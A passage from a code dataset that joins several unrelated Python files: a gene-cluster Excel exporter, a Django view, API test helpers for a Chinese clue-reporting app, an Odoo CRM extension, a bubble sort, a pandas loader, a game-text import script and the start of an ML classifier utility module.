os.listdir(filepath)\r\n\tos.chdir(filepath)\r\n\r\n\tdf_expended_conserved = df_generator_expended(\r\n\t\tgene_list=genes_conserved,file_list=\r\n\t\tfile_list_celltype_expanded)\r\n\r\n\tdf_expended_ms_up = df_generator_expended(\r\n\t\tgene_list=genes_ms_up,file_list=\r\n\t\tfile_list_celltype_expanded)\r\n\r\n\tdf_expended_ms_down = df_generator_expended(\r\n\t\tgene_list=genes_ms_down,file_list=\r\n\t\tfile_list_celltype_expanded)\r\n\t\r\n\t#To write all the file in 1 new excel \r\n\toutpath='C:\\\\Users\\\\celeb\\\\Dropbox\\\\Kunt\\\\clusters\\\\kunt_final\\\\'\r\n\twriter = pd.ExcelWriter(outpath +'kunt_' + str(excel_file))\r\n\r\n\tjoin_conserved.to_excel(writer, \r\n\t\tsheet_name='Conserved', \r\n\t\tindex=False)\r\n\tdf_celltype_conserved .to_excel(writer, \r\n\t\tsheet_name='Conserved cell type', \r\n\t\tindex=False)\r\n\r\n\tdf_expended_conserved.to_excel(writer,\r\n\t\tsheet_name='Conserved expended cell type',\r\n\t\tindex=False)\r\n\r\n\tjoin_ms_up.to_excel(writer, sheet_name='MS up', index=False)\r\n\tdf_celltype_ms_up.to_excel(writer, sheet_name='MS up cell type', index=False)\r\n\tdf_expended_ms_up.to_excel(writer, sheet_name='MS up expended cell type',\r\n\t\tindex=False)\r\n\r\n\tjoin_ms_down.to_excel(writer, sheet_name='MS down', index=False)\r\n\tdf_celltype_ms_down.to_excel(writer, sheet_name='MS down cell type', index=False)\r\n\tdf_expended_ms_up.to_excel(writer, sheet_name='MS down expended cell type',\r\n\t\tindex=False)\r\n\twriter.save()\r\n\t\r\n\tos.chdir(filepath_group)","sub_path":"kunt_ms_cluster_excel_loop.py","file_name":"kunt_ms_cluster_excel_loop.py","file_ext":"py","file_size_in_byte":3884,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"612552889","text":"from django.shortcuts import render\nfrom django.contrib.auth.decorators import login_required\nfrom product.models import Product\nfrom math import ceil\n\n@login_required()\ndef Home_View(request):\n allProducts=[]\n category_prods=Product.objects.values('category','id')\n cats={item['category'] for item in category_prods}\n for cat in cats:\n prod=Product.objects.filter(category=cat)\n length=len(prod)\n sildes=length//4 + ceil(length/4-length//4)\n allProducts.append([prod,range(1,sildes),sildes])\n context={\n 'allProds':allProducts,\n }\n return render(request,'Home/home.html',context)\n","sub_path":"Home/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":637,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"41463832","text":"# -*- coding:UTF-8 -*-\n'''\nCreated on 2015-11-24\n\n@author: N-133\n'''\nfrom __future__ import unicode_literals\nfrom COMMON import Log\nfrom COMMON.CommonUtil import findDictInDictlist, httpResponseResultDeal\nfrom CONFIG import Global\nfrom CONFIG.Define import LogLevel\nfrom CONFIG.Global import XianSuoDftMobile, XianSuoDftPassword\nfrom CONFIG.InitDefaultPara import userInit, clueUserInit\nfrom Interface.PingAnJianShe.pingAnJianSheHttpCommon import pinganjianshe_post\nfrom Interface.XianSuoApp.XinXiGuangChang import XsInformationSquarePara\nfrom Interface.XianSuoApp.xianSuoHttpCommon import xiansuo_post, xiansuo_get\nimport copy\nimport json\nimport md5\nimport requests\n'''\n @功能:设置分享状态\n @XianSuoPara{ids,showState}\n @return: response\n @author: chenhui 2016-03-21\n''' \n# PC设置状态\ndef setClueShowState(para):\n Log.LogOutput(LogLevel.INFO, \"设置线索状态\")\n response = pinganjianshe_post(url='/clueManage/clueInformationManage/updateInformationShowStateByIds.action', postdata=para)\n if response.result is True:\n Log.LogOutput(LogLevel.INFO, \"设置线索状态成功\")\n else:\n Log.LogOutput(LogLevel.ERROR, \"设置线索状态失败\")\n return response\n\n'''\n @功能:PC官方回复\n @XianSuoPara\n @return: response\n @author: chenhui 2016-03-21\n''' \n# 新增线索\ndef officialReply(para):\n Log.LogOutput(LogLevel.INFO, \"PC设置官方回复\")\n response = pinganjianshe_post(url='/clueManage/clueInformationManage/officialReply.action', postdata=para,username=userInit['DftJieDaoUser'],password='11111111')\n# print response.text\n if response.result is True:\n Log.LogOutput(LogLevel.INFO, \"设置官方回复成功\")\n else:\n Log.LogOutput(LogLevel.ERROR, \"设置官方回复失败\")\n return response\n\n'''\n @功能:获取信息广场列表\n @param :listPara=XsInformationSquarePara.informationSquareListPara \n @return: response\n @author: chenhui 2016-03-22\n''' \n# 获取线索、信息广场列表\ndef getClueList(para):\n Log.LogOutput(LogLevel.INFO, \"获取信息广场列表数据\")\n response = xiansuo_post(url='/api/clue/informationDubboService/findInformationsForPageForMobile', postdata=para)\n# print response.text\n if response.result is True:\n Log.LogOutput(LogLevel.INFO, \"列表数据获取成功\")\n else:\n Log.LogOutput(LogLevel.ERROR, \"列表数据获取失败\")\n return response\n\n'''\n @功能:获取用户信息\n @param param: {'tqmobile':'','id':''}\n @return: response\n @author: chenhui 2016-03-22\n''' \n# 获取用户信息\ndef getUserInfo(para):\n Log.LogOutput(LogLevel.INFO, \"获取��户信息\")\n response = xiansuo_get(url='/api/clue/userDubboService/getUserById', param=para)\n# print response.text\n if response.result is True:\n Log.LogOutput(LogLevel.INFO, \"用户信息获取成功\")\n else:\n Log.LogOutput(LogLevel.ERROR, \"用户信息获取失败\")\n return response\n\n'''\n @功能: 检查某一字典是否存在于用户信息返回的字典中\n @para: \n @return: 如果检查成功,则返回True;否则返回False \n @author: chenhui 2016-3-21\n''' \ndef checkDictInUserInfoDict(checkPara,userpara):\n try:\n Log.LogOutput(LogLevel.INFO, \"检查记录是否存在于用户信息字典中\")\n response=getUserInfo(para=userpara)\n responseDict = json.loads(response.text)\n #print response.text\n listDict= responseDict['response']['module']\n #定义一个空列表\n newList=[]\n #将字典项转化为列表\n newList.append(listDict)\n #调用检查列表参数\n if findDictInDictlist(checkPara, newList) is True:\n Log.LogOutput(LogLevel.DEBUG, \"检测字典成功\")\n return True\n else:\n Log.LogOutput(LogLevel.DEBUG, \"检测字典失败\")\n return False\n except Exception:\n Log.LogOutput(LogLevel.ERROR, '检测异常')\n return False\n \n'''\n @功能:获取用户登录信息\n @return: response\n @author: chenhui 2016-03-22\n'''\ndef getUserLogin(mobile=XianSuoDftMobile, password=XianSuoDftPassword, mobileType=\"android\"):\n # 获取登录信息\n Log.LogOutput(LogLevel.INFO, \"获取用户登录信息\")\n appkey =Global.XianSuoAppKey\n secretkey =Global.XianSuoSecretKey\n paramString=''\n\n if mobile is None or password is None: \n m1 = md5.new()\n m1.update(Global.XianSuoDftPassword)\n m2=md5.new()\n #需要排序的字典\n sortDict={\"mobile\":Global.XianSuoDftMobile, \"password\":m1.hexdigest(), \"tqmobile\":\"true\",\"mobileType\":mobileType,\"appKey\":appkey}\n sortKeyList=sorted(sortDict.keys(),key=lambda d:d[0])\n #拼接key、value字符串\n for item in sortKeyList:\n paramString=paramString+item+sortDict[item]\n #需要参与md5运算的字符串,还要加上secretKey的值,不需要加上该key\n paramString=secretkey+paramString\n m2.update(paramString)\n #运算结果转成大写\n sign=m2.hexdigest().upper()\n postData = {\"mobile\":Global.XianSuoDftMobile,\"password\":m1.hexdigest(),\"tqmobile\":\"true\",\"mobileType\":mobileType,\n \"appKey\":appkey,\"sign\":sign}\n else:\n m1 = md5.new()\n m1.update(password)\n m2=md5.new()\n #需要排序的字典\n sortDict={\"mobile\":mobile, \"password\":m1.hexdigest(), \"tqmobile\":\"true\",\"mobileType\":mobileType,\"appKey\":appkey}\n sortKeyList=sorted(sortDict.keys(),key=lambda d:d[0])\n for item in sortKeyList:\n paramString=paramString+item+sortDict[item]\n #需要参与md5运算的字符串,还要加上secretKey的值,不需要加上该key\n paramString=secretkey+paramString\n m2.update(paramString)\n #运算结果转成大写\n sign=m2.hexdigest().upper()\n postData = {\"mobile\":mobile, \"password\":m1.hexdigest(), \"tqmobile\":\"true\",\"mobileType\":mobileType,\n \"appKey\":appkey,\"sign\":sign}\n response = requests.get(\"%s/api/clue/loginDubboService/loginNew\" % Global.XianSuoShouJiDaiLiUrl,params=postData)\n responseObj=httpResponseResultDeal(response)\n jsonData = json.loads(responseObj.text)\n# print responseObj.text\n return jsonData\n\n\n\n'''\n @功能: 检查某一字典是否存在于信息详情的information字典中\n @para: listPara=XsInformationSquarePara.informationSquareListPara\n checkPara=\n @return: 如果检查成功,则返回True;否则返回False \n @author: chenhui 2016-3-21\n''' \ndef checkDictInClueList(checkPara,listPara):\n try:\n Log.LogOutput(LogLevel.INFO, \"检查记录是否存在于信息广场中\")\n response=getClueList(para=listPara)\n responseDict = json.loads(response.text)\n #print response.text\n listDict= responseDict['response']['module']['rows']\n #定义一个空列表\n newList=[]\n #重新组装待检查列表\n for item in listDict:\n newList.append(item['information'])\n #调用检查列表参数\n if findDictInDictlist(checkPara, newList) is True:\n Log.LogOutput(LogLevel.DEBUG, \"检测线索成功\")\n return True\n else:\n Log.LogOutput(LogLevel.DEBUG, \"检测线索失败\")\n return False\n except Exception:\n Log.LogOutput(LogLevel.ERROR, '检测异常')\n return False\n'''\n @功能:获取线索详情\n @return: response\n @author: chenhui 2016-03-22\n''' \ndef getClueDetails(para):\n Log.LogOutput(LogLevel.INFO, \"获取线索详细信息\")\n response = xiansuo_post(url='/api/clue/informationDubboService/getInformationById', postdata=para)\n #print response.text\n if response.result is True:\n Log.LogOutput(LogLevel.INFO, \"线索详情获取成功\")\n else:\n Log.LogOutput(LogLevel.ERROR, \"线索详情获取失败\")\n return response\n\n\n'''\n @功能:获取线索简易步骤信息\n @return: response\n @author: chenhui 2016-03-23\n''' \ndef getClueStepsInfo(para):\n Log.LogOutput(LogLevel.INFO, \"获取线索简易步骤信息\")\n response = xiansuo_post(url='/api/clue/informationStepDubboService/getInformationStepsByInfoId', postdata=para)\n# print response.text\n if response.result is True:\n Log.LogOutput(LogLevel.INFO, \"线索简易步骤信息获取成功\")\n else:\n Log.LogOutput(LogLevel.ERROR, \"线索简易步骤信息获取失败\")\n return response\n \n'''\n @功能:获取线索内部步骤信息\n @return: response\n @author: chenhui 2016-03-23\n''' \ndef getClueInnerStepsInfo(para):\n Log.LogOutput(LogLevel.INFO, \"获取线索内部步骤信息\")\n response = xiansuo_get(url='/api/clue/informationStepDubboService/findInnerStepByStepId', param=para)\n# print response.text\n if response.result is True:\n Log.LogOutput(LogLevel.INFO, \"线索内部步骤信息获取成功\")\n else:\n Log.LogOutput(LogLevel.ERROR, \"线索内部步骤信息获取失败\")\n return response\n\n'''\n @功能: 检查某一字典是否存在于信息详情的步骤informationSteps字典中,用于验证流程状态\n @para: \n @return: 如果检查成功,则返回True;否则返回False \n @author: chenhui 2016-3-23\n''' \ndef checkDictInInforSteps(checkPara,stepPara):\n try:\n Log.LogOutput(LogLevel.INFO, \"检查记录是否存在于处理步骤中\")\n response=getClueStepsInfo(para=stepPara)\n responseDict = json.loads(response.text)\n# print response.text\n listDict= responseDict['response']['module']['informationSteps']\n if findDictInDictlist(checkPara, listDict) is True:\n Log.LogOutput(LogLevel.DEBUG, \"检测步骤成功\")\n return True\n else:\n Log.LogOutput(LogLevel.DEBUG, \"检测步骤失败\")\n return False\n except Exception:\n Log.LogOutput(LogLevel.ERROR, '检测步骤异常')\n return False\n'''\n @功能: 检查某一字典是否存在于信息详情的内部步骤字典中,用于验证处理意见\n @para: \n @return: 如果检查成功,则返回True;否则返回False \n @author: chenhui 2016-3-23\n''' \ndef checkDictInInnerInforSteps(checkPara,innerStepPara):\n try:\n Log.LogOutput(LogLevel.INFO, \"检查处理意见是否存在于处理步骤中\")\n response=getClueInnerStepsInfo(para=innerStepPara)\n responseDict = json.loads(response.text)\n listDict= responseDict['response']['module']\n #定义一个空列表\n newList=[]\n #重新组装待检查列表\n for item in listDict:\n newList.append(item['innerStep'])\n if findDictInDictlist(checkPara, newList) is True:\n Log.LogOutput(LogLevel.DEBUG, \"检测处理意见成功\")\n return True\n else:\n Log.LogOutput(LogLevel.DEBUG, \"检测处理意见失败\")\n return False\n except Exception:\n Log.LogOutput(LogLevel.ERROR, '检测处理意见异常')\n return False\n'''\n @功能:线索转事件\n @param: XsInformationSquarePara.culeToIssuePara\n @return: response\n @author: chenhui 2016-03-23\n''' \ndef clueToIssue(para,username=userInit['DftJieDaoUser'],password='11111111'):\n Log.LogOutput(LogLevel.INFO, \"将线索转为事件处理\")\n response = pinganjianshe_post(url='/issues/issueManage/addIssueByClue.action', postdata=para,username=username,password=password)\n# print 'cluetoissue '+response.text\n if response.result is True:\n Log.LogOutput(LogLevel.INFO, \"将线索转为事件处理成功\")\n else:\n Log.LogOutput(LogLevel.ERROR, \"将线索转为事件处理失败\")\n return response\n\n'''\n @功能:新增点赞\n @return: response\n @author: chenhui 2016-03-23\n''' \ndef addPraise(para):\n Log.LogOutput(LogLevel.INFO, \"新增点赞\")\n response = xiansuo_post(url='/api/clue/praiseDubboService/addPraise', postdata=para)\n #print response.text\n if response.result is True:\n Log.LogOutput(LogLevel.INFO, \"点赞成功\")\n else:\n Log.LogOutput(LogLevel.ERROR, \"点赞失败\")\n return response\n'''\n @功能:验证点赞列表\n @return: true/false\n @author: chenhui 2016-03-23\n''' \ndef checkInMyPraiseList(checkPara,listPara):\n try:\n Log.LogOutput(LogLevel.INFO, \"检查是否存在于我的点赞列表中\")\n response = xiansuo_post(url='/api/clue/praiseDubboService/findPraisesByUserIdForPage', postdata=listPara)\n #print response.text\n responseDict = json.loads(response.text)\n listDict= responseDict['response']['module']['rows']\n #定义一个空列表\n newList=[]\n #重新组装待检查列表\n for item in listDict:\n newList.append(item['information'])\n if findDictInDictlist(checkPara, newList) is True:\n Log.LogOutput(LogLevel.DEBUG, \"检测点赞成功\")\n return True\n else:\n Log.LogOutput(LogLevel.DEBUG, \"检测点赞失败\")\n return False\n except Exception:\n Log.LogOutput(LogLevel.ERROR, '检测点赞异常')\n return False\n \n'''\n @功能:新增评论\n @return: response\n @author: chenhui 2016-03-23\n''' \ndef addComment(para,mobile=Global.XianSuoDftMobile, password=Global.XianSuoDftPassword):\n Log.LogOutput(LogLevel.INFO, \"新增评论\")\n response = xiansuo_post(url='/api/clue/commentDubboService/addComment', postdata=para,mobile=mobile,password=password)\n# print response.text\n if response.result is True:\n Log.LogOutput(LogLevel.INFO, \"评论成功\")\n else:\n Log.LogOutput(LogLevel.ERROR, \"评论失败\")\n return response\n\n'''\n @功能:验证我的评论列表\n @return: true/false\n @author: chenhui 2016-03-23\n''' \ndef checkInMyCommentList(checkPara,listPara):\n try:\n Log.LogOutput(LogLevel.INFO, \"检查是否存在于我的评论列表中\")\n response = xiansuo_post(url='/api/clue/commentDubboService/findMyCommentsByInfoIdForPage', postdata=listPara)\n #print response.text\n responseDict = json.loads(response.text)\n listDict= responseDict['response']['module']['rows']\n if findDictInDictlist(checkPara, listDict) is True:\n Log.LogOutput(LogLevel.DEBUG, \"检测我的评论成功\")\n return True\n else:\n Log.LogOutput(LogLevel.DEBUG, \"检测我的评论失败\")\n return False\n except Exception:\n Log.LogOutput(LogLevel.ERROR, '检测我的评论异常')\n return False\n \n'''\n @功能:验证评论列表\n @return: true/false\n @author: chenhui 2016-03-23\n''' \ndef checkInCommentList(checkPara,listPara):\n try:\n Log.LogOutput(LogLevel.INFO, \"检查是否存在于评论列表中\")\n response = xiansuo_post(url='/api/clue/commentDubboService/findCommentsByInfoIdForPage', postdata=listPara)\n #print response.text\n responseDict = json.loads(response.text)\n listDict= responseDict['response']['module']['rows']\n if findDictInDictlist(checkPara, listDict) is True:\n Log.LogOutput(LogLevel.DEBUG, \"检测评论成功\")\n return True\n else:\n Log.LogOutput(LogLevel.DEBUG, \"检测评论失败\")\n return False\n except Exception:\n Log.LogOutput(LogLevel.ERROR, '检测评论异常')\n return False \n \n'''\n @功能:新增关注\n @return: response\n @author: chenhui 2016-03-23\n''' \ndef addConcern(para):\n Log.LogOutput(LogLevel.INFO, \"新增关注\")\n response = xiansuo_post(url='/api/clue/concernDubboService/addConcern', postdata=para)\n# print response.text\n if response.result is True:\n Log.LogOutput(LogLevel.INFO, \"关注成功\")\n else:\n Log.LogOutput(LogLevel.ERROR, \"关注失败\")\n return response\n\n'''\n @功能:取消关注\n @return: response\n @author: chenhui 2016-03-23\n''' \ndef cancelConcern(para):\n Log.LogOutput(LogLevel.INFO, \"取消关注\")\n response = xiansuo_post(url='/api/clue/concernDubboService/updateConcernByUserIdAndInfoId', postdata=para)\n #print response.text\n if response.result is True:\n Log.LogOutput(LogLevel.INFO, \"取消关注成功\")\n else:\n Log.LogOutput(LogLevel.ERROR, \"取消关注失败\")\n return response\n\n'''\n @功能:验证关注列表\n @return: true/false\n @author: chenhui 2016-03-23\n''' \ndef checkInConcernList(checkPara,listPara):\n try:\n Log.LogOutput(LogLevel.INFO, \"检查是否存在于关注列表中\")\n response = xiansuo_post(url='/api/clue/concernDubboService/findConcernsByUserIdForPage', postdata=listPara)\n# print 'concern:'+response.text\n responseDict = json.loads(response.text)\n listDict= responseDict['response']['module']['rows']\n newList=[]\n for item in listDict:\n newList.append(item['information'])\n if findDictInDictlist(checkPara, newList) is True:\n Log.LogOutput(LogLevel.DEBUG, \"检测关注成功\")\n return True\n else:\n Log.LogOutput(LogLevel.DEBUG, \"检测关注失败\")\n return False\n except Exception:\n Log.LogOutput(LogLevel.ERROR, '检测关注异常')\n return False \n \n'''\n @功能: 获取热门搜索关键词\n @para: XsInformationSquarePara.getHotKeywordPara\n @return: response\n @author: chenhui 2016-12-16\n'''\ndef get_hot_search_list_for_mobile(para):\n info='获取热门搜索关键词'\n Log.LogOutput(LogLevel.INFO, info)\n response = xiansuo_get(url='/api/clue/personalizedConfigurationDubboService/findHotSearch', param=para)\n# print response.text\n if response.result is True:\n Log.LogOutput(LogLevel.INFO, info+\"成功!\")\n else:\n Log.LogOutput(LogLevel.DEBUG, info+\"失败!\")\n return response\n\n'''\n @功能: 手机端检查热门搜索关键词列表\n @para: checkpara: XiTongPeiZhiPara.hotSearchListCheckPara\n listpara: XsInformationSquarePara.getHotKeywordPara\n @return: response\n @author: chenhui 2016-12-16\n'''\ndef check_hot_search_list(checkpara,listpara):\n info='手机端检查热门搜索关键词列表'\n Log.LogOutput(LogLevel.INFO, info)\n try:\n response = get_hot_search_list_for_mobile(para=listpara)\n responseDict=json.loads(response.text)\n# #print response.text\n if findDictInDictlist(checkpara,responseDict['response']['module']) is True:\n Log.LogOutput(LogLevel.DEBUG, info+\"成功!\")\n return True\n else:\n Log.LogOutput(LogLevel.DEBUG, info+\"失败!\")\n return False\n except Exception:\n Log.LogOutput(LogLevel.ERROR, info+'出现异常')\n return False\n \n'''\n @功能: 通过关键词名称获取排序号\n @para: 'keyword'\n @return: 如果找到,返回排列序号,如果没找到,则返回-1,如果异常,返回-2\n @author: chenhui 2016-12-16\n'''\ndef get_hot_search_display_seq_by_keyword_for_mobile(para):\n info='手机端通过关键词名称获取排序号'\n Log.LogOutput(LogLevel.INFO, info)\n listpara=copy.deepcopy(XsInformationSquarePara.getHotKeywordPara)\n try:\n response = get_hot_search_list_for_mobile(para=listpara)\n resDict=json.loads(response.text)\n# print response.text\n for item in resDict['response']['module']:\n if item['keyword']==para:\n Log.LogOutput(LogLevel.INFO, info+'成功')\n return item['displaySeq']\n Log.LogOutput(LogLevel.INFO, info+'失败')\n return -1 \n except Exception:\n Log.LogOutput(LogLevel.ERROR, info+'出现异常')\n return -2\n\n'''\n @功能: 在消息列表检查消息\n @para: \n checkMessagePara:检查消息字典,调用XsInformationSquarePara中的checkMessagePara\n getMessageListPara:获取消息列表字典,调用XsInformationSquarePara中的getMessageListPara\n @return: 检查成功,返回True;否则返回False\n @author: hongzenghui 2016年12月26日\n'''\ndef check_message_in_message_list(checkMessagePara,getMessageListPara):\n Log.LogOutput(LogLevel.INFO, '消息列表检查消息内容开始......')\n try:\n response = xiansuo_post(url='/api/clue/umMessageBoxDubboService/findUmMessageBoxForPageNew', postdata=getMessageListPara)\n# print response.text\n responseDict=json.loads(response.text)\n if findDictInDictlist(checkMessagePara,responseDict['response']['module']['rows']) is True:\n Log.LogOutput(LogLevel.DEBUG, \"消息列表检查消息内容成功!\")\n return True\n else:\n Log.LogOutput(LogLevel.INFO, \"消息列表检查消息内容失败!\")\n return False\n except Exception:\n Log.LogOutput(LogLevel.ERROR, \"消息列表检查消息内容过程中异常\")\n return False\n \n'''\n @功能: 在消息列表通过消息内容获取id\n @para: \n messageContent:消息内容\n getMessageListPara:获取消息列表字典,调用XsInformationSquarePara中的getMessageListPara\n @return: 查找成功,返回ID信息;否则返回None\n @author: hongzenghui 2016年12月26日\n'''\ndef get_message_id_by_message_content(messageContent,getMessageListPara):\n Log.LogOutput(LogLevel.INFO, '在消息列表获取消息ID开始......')\n try:\n response = xiansuo_post(url='/api/clue/umMessageBoxDubboService/findUmMessageBoxForPageNew', postdata=getMessageListPara)\n responseDict=json.loads(response.text)\n# #print response.text\n for item in responseDict['response']['module']['rows']:\n if item['infoContent'] == messageContent:\n Log.LogOutput(LogLevel.DEBUG, \"检查到消息,返回ID\")\n return item['id']\n Log.LogOutput(LogLevel.DEBUG, \"无法找到相应的信息,返回None!\")\n return None\n except Exception:\n Log.LogOutput(LogLevel.ERROR, \"消息列表查找消息过程中异常\")\n return None\n \n'''\n @功能: 将消息置为已读\n @para:\n messageId:消息ID\n @return: 设置成功,返回True;否则返回False\n @author: hongzenghui 2016年12月26日\n'''\ndef set_message_to_readed(messageId):\n setReadedDict = {\n 'id':messageId,\n 'tqmobile':'true'\n }\n Log.LogOutput(LogLevel.INFO, '开始设置消息为已读......')\n response = xiansuo_post(url='/api/clue/umMessageBoxDubboService/updateUmMessageBoxIsRead', postdata=setReadedDict)\n# print response.text\n if response.result is True:\n Log.LogOutput(LogLevel.INFO, \"消息设置为已读成功!\")\n return True\n else:\n Log.LogOutput(LogLevel.DEBUG, \"消息设置为已读失败!\")\n return False","sub_path":"testAPI/Web_Test/Interface/XianSuoApp/XinXiGuangChang/XsInformationSquareIntf.py","file_name":"XsInformationSquareIntf.py","file_ext":"py","file_size_in_byte":23305,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"334164949","text":" # -*- coding: utf-8 -*-\nimport math\nimport string\n\nfrom openerp.osv import fields, osv\nfrom openerp.tools.translate import _\n\n\n\nclass crm_lead(osv.osv):\n _inherit = \"crm.lead\"\n\n _columns = {\n 'wf_street_no':fields.char('No', size=10),\n 'first_name': fields.char('Firstname', size=63),\n 'last_name': fields.char('Lastname', size=64),\n }\n def on_change_partner(self, cr, uid, ids, partner_id, context=None):\n result = super(crm_lead, self).on_change_partner(cr, uid, ids, partner_id, context=None)\n if partner_id:\n partner = self.pool.get('res.partner').browse(cr, uid, partner_id, context=context)\n result['value']['wf_street_no'] = partner.wf_street_no\n result['value']['first_name'] = partner.first_name\n result['value']['last_name'] = partner.last_name\n result['value']['zip'] = partner.zip\n result['value']['street2'] = partner.firma\n return result\n \ncrm_lead()","sub_path":"wf_crm/wf_crm.py","file_name":"wf_crm.py","file_ext":"py","file_size_in_byte":988,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"551702151","text":"\"\"\"\n冒泡排序简单直接,但是基本没有实用性\n步骤:\n1. 比较相邻的两个元素,如果第一个比第二个大,就交换两个\n2. 对每一对相邻元素做同样的操作,从开始第一对到结尾的最后一对,执行完最后一位是最大的数\n3. 针对所有元素重复以上的操作,除了最后一个\n4. 持续每次对越来越少的元素重复上面的步骤,直到没有任何一对数字需要比较\n\"\"\"\ndef bubbleSort(arr):\n for i in range(1, len(arr)):\n for j in range(0, len(arr)):\n if arr[j] > arr[j+1]:\n arr[j], arr[j+1] = arr[j+1], arr[j]\n return arr\n","sub_path":"ch5-Sort/ch03_冒泡排序.py","file_name":"ch03_冒泡排序.py","file_ext":"py","file_size_in_byte":647,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"149843800","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport pandas as pd\n\nclass FileLoader():\n\tdef load(self, path):\n\t\trd = pd.read_csv(path)\n\t\tdf = pd.DataFrame(rd)\n\t\tprint(\"Loading dataset of dimensions {} x {}\".format(df.shape[0], df.shape[1]))\n\t\treturn df\n\n\tdef display(self, df, n):\n\t\tif n > 0:\n\t\t\tprint(df[:n])\n\t\telse:\n\t\t\tprint(df[n:])","sub_path":"day04/ex05/FileLoader.py","file_name":"FileLoader.py","file_ext":"py","file_size_in_byte":335,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"61546908","text":"# -*- coding: utf-8 -*-\nfrom libMT_Framework import dir_fn\nimport codecs,os,struct\nfrom StringIO import StringIO\n\ndef makestr(lines):\n string_list = []\n head_list = []\n num = len(lines)\n for index,line in enumerate(lines):\n if u'####' in line:\n head_list.append(line[5:-7])\n i = 1\n string = ''\n while True:\n if index+i >= num:\n break\n if '####' in lines[index+i]:\n break\n string += lines[index+i]\n i += 1\n string_list.append(string[:-4])\n return string_list, head_list\ndef import_gmd(fn):\n endian = \">\"\n original_name = fn[:-4]\n text = codecs.open('cn-text\\\\%s'%fn,'rb','utf-16')\n q = open(original_name.replace(\"__\" , \"\\\\\"),'rb')\n fp =StringIO()\n fp.write(q.read())\n q.close()\n fp.seek(0)\n fp.seek(0x14)\n pnums = struct.unpack('>I',fp.read(4))[0]\n tnums = struct.unpack('>I',fp.read(4))[0]\n fp.seek(0x20)\n size = struct.unpack('>I',fp.read(4))[0]\n fp.seek(0x24)\n name_len = struct.unpack('>I',fp.read(4))[0]\n name = fp.read(name_len)\n null = fp.read(1)\n plist = []\n q_ofs = fp.tell()\n for i in xrange(pnums):\n pid = fp.read(4)\n pstr = fp.read(4)\n pstr2 = fp.read(4)\n pstr3 = fp.read(4)\n pstr4 = fp.read(4)\n if not pstr == '\\xff\\xff\\xff\\xff':\n plist.append((struct.unpack(endian+'I',pid)[0],struct.unpack(endian+'I',pstr3)[0]))\n unk = fp.read(0x400)\n tmp_ofs = fp.tell()\n for i in xrange(len(plist)):\n (pid,p_addr) = plist[i]\n real_offset = p_addr - plist[0][1] + tmp_ofs\n fp.seek(real_offset)\n bstr = \"\"\n while True:\n b=fp.read(1)\n if b == '\\x00':\n break\n else:\n bstr+=b\n string = bstr.decode('utf-8')\n #dest.write('#### control,%d ####\\r\\n%s\\r\\n\\r\\n'%(pid,string))\n q_ofs = real_offset + len(bstr) + 1\n fp.truncate(q_ofs)\n fp.seek(q_ofs)\n lines = text.readlines()\n string_list, head_list = makestr(lines)\n text_string_dict = {}\n for i in xrange(len(string_list)):\n string = string_list[i]\n string = string.replace('{PAGE}\\r\\n','')\n data = string.encode('utf-8')\n fp.write(data)\n fp.write('\\x00')\n end_ofs = fp.tell()\n size = end_ofs - q_ofs\n fp.seek(0x20)\n fp.write(struct.pack('>I',size))\n finaldata = fp.getvalue()\n fp.flush()\n import_name = original_name.replace('assets\\\\','import\\\\')\n if not os.path.exists(\"import\\\\\" + '\\\\'.join(import_name.split('__')[:-1])):\n os.makedirs(\"import\\\\\" + '\\\\'.join(import_name.split('__')[:-1]))\n dest = open(\"import\\\\%s\"%import_name.replace(\"__\" ,\"\\\\\"),'wb')\n dest.write(finaldata)\n dest.close()\n\ndef main():\n fl=os.listdir('cn-text')\n for fn in fl:\n import_gmd(fn)\nif __name__ == \"__main__\":\n main()\n","sub_path":"Cafe/gmd_tool/import_message.py","file_name":"import_message.py","file_ext":"py","file_size_in_byte":2973,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"55695677","text":"import xgboost as xgb\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.ensemble import AdaBoostClassifier\nfrom math import sqrt\nfrom sklearn.gaussian_process import GaussianProcessClassifier\nimport sklearn.metrics as metrics\nimport utils.dataframe_utils as df_utils\nfrom catboost import CatBoostClassifier\nfrom lightgbm import LGBMClassifier\nimport time\nimport json\n\n\n\n\n#Thumsi will handle Decision Tree classifier, Gaussian Process Classifier and Adaboost.\n#models that Salas will work on are: XGBoost, LightGBM, CatBoost\n\ndef get_classifier_by_name(name_of_classifier, num_of_features=None):\n '''\n This function brings the name of the classifier from the list of classifiers implemented for this project.\n :param name_of_classifier:\n :param num_of_features:\n :return:\n '''\n if \"xg_boost\" in name_of_classifier:\n # this classifier is available in Scala also\n return get_xgb_classifier()\n\n\n if \"light_gbm\" in name_of_classifier:\n return get_lightgbm_classifier()\n\n if \"cat_boost\" in name_of_classifier:\n return get_catboost_classifier()\n\n if \"decision_tree\" in name_of_classifier:\n return get_decision_tree_classifier(num_of_features)\n\n if \"gaussian_process\" in name_of_classifier:\n return get_gaussian_classifier()\n\n if \"adaboost\" in name_of_classifier:\n return get_adaboost_classifier()\n\ndef get_folds(dataframe):\n '''\n Takes data frame as input and returns lists ot tuples as output.\n This reads the paper IDs in the data frame and create false cross validation\n We loop through the list of paper IDs in this data frame and create a tuple where the current paper ID is the test\n case and all the other paper ID are training case\n :param dataframe:\n :return:\n '''\n folds = []\n papers_in_frame = set(list(dataframe[\"PMCID\"]))\n for p in papers_in_frame:\n test_case = dataframe[dataframe[\"PMCID\"] == p]\n train_case = dataframe[dataframe[\"PMCID\"]!=p]\n folds.append((test_case,train_case))\n return folds\n\ndef get_true_pred_arrays_from_cv(classifier,dataframe,is_classifier_catboost=False):\n '''\n This function takes the classifier and data frame as parameters.\n It trains the classifier on the training set and tests it on the testing set in a cross validation setting. We then\n return a tuple of true labels and predicted labels\n :param classifier:\n :param 